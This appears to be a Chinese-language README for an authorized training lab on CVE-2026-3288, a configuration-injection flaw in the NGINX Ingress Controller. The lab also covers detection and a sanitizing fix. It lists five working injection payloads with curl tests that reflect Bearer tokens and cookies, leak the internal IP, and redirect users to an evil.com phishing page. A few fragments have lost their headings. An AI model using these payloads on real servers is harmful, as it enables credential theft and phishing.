⚠️ 警告:本实验环境包含故意配置的漏洞,仅供授权安全培训使用
CVE-2026-3288(CVSS 8.8 高危)— NGINX Ingress Controller 中的配置注入漏洞
")注入buildProxyPass() 函数在将路径输入插入 nginx 配置之前未对其进行清理,导致攻击者能够突破引号字符串并注入任意 nginx 指令。
CVE-2026-3288-lab/
├── README.md # 本文件
├── docker-compose.yml # 主实验环境配置
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # 存在漏洞的 NGINX 配置
│ │ ├── nginx.conf # 基础配置
│ │ └── vulnerable-config.conf # 存在漏洞的路径处理
│ └── backend/
│ ├── Dockerfile # 简单后端应用
│ └── app.py # Flask 应用
├── exploits/
│ ├── exploit.py # 自动化利用脚本
│ ├── payloads.txt # 漏洞利用载荷集合
│ └── test-exploits.sh # 测试所有漏洞利用
├── detection/
│ └── monitor-logs.sh # 监控漏洞利用尝试
└── cleanup/
└── cleanup.sh # 移除所有实验环境资源
cd CVE-2026-3288-lab
# 启动存在漏洞的环境
docker-compose up -d
# 检查状态
docker-compose ps
# 测试后端是否运行
curl http://localhost:8080/
# 测试 NGINX 是否运行
curl http://localhost/
cd exploits
# 自动化漏洞利用
python3 exploit.py --all
# 或测试单个漏洞利用
bash test-exploits.sh
# 查看 NGINX 日志中的漏洞利用行为
docker-compose logs -f nginx
# 监控检测
cd detection
bash monitor-logs.sh
docker-compose down -v
注入 nginx return 指令以提供攻击者控制的内容。
载荷:
/api" return 200 "HACKED BY ATTACKER
测试:
curl 'http://localhost/api" return 200 "HACKED'
将 Authorization 头反射回响应中以窃取 Bearer 令牌。
载荷:
/login" return 200 "Token: $http_authorization
测试:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
将用户重定向到攻击者控制的钓鱼网站。
载荷:
/" return 302 "https://evil.com/phishing
测试:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
泄露内部服务器信息。
载荷:
/" return 200 "Internal IP: $server_addr
测试:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
窃取会话 Cookie。
载荷:
/" return 200 "Cookies: $http_cookie
测试:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# 存在漏洞的配置
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
当路径包含 " 时,它会突破引号字符串:
# 攻击者输入:/api" return 200 "HACKED
# 结果:
location ~ "^/api" return 200 "HACKED" {
# 原始配置已被破坏
}
# 监控可疑模式
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# 检查 NGINX 配置中是否包含注入的指令
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" 和 \// 修复前(存在漏洞)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// 修复后(已修复)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
完成本实验环境后,您将理解:
# 查看日志
docker-compose logs
# 重启
docker-compose restart
# 修改 docker-compose.yml 中的端口
# 或停止冲突的服务
sudo lsof -i :80
# 验证 NGINX 是否运行
docker-compose ps nginx
# 检查 NGINX 配置
docker exec cve-2026-3288-nginx nginx -t
仅用于授权的安全培训和研究目的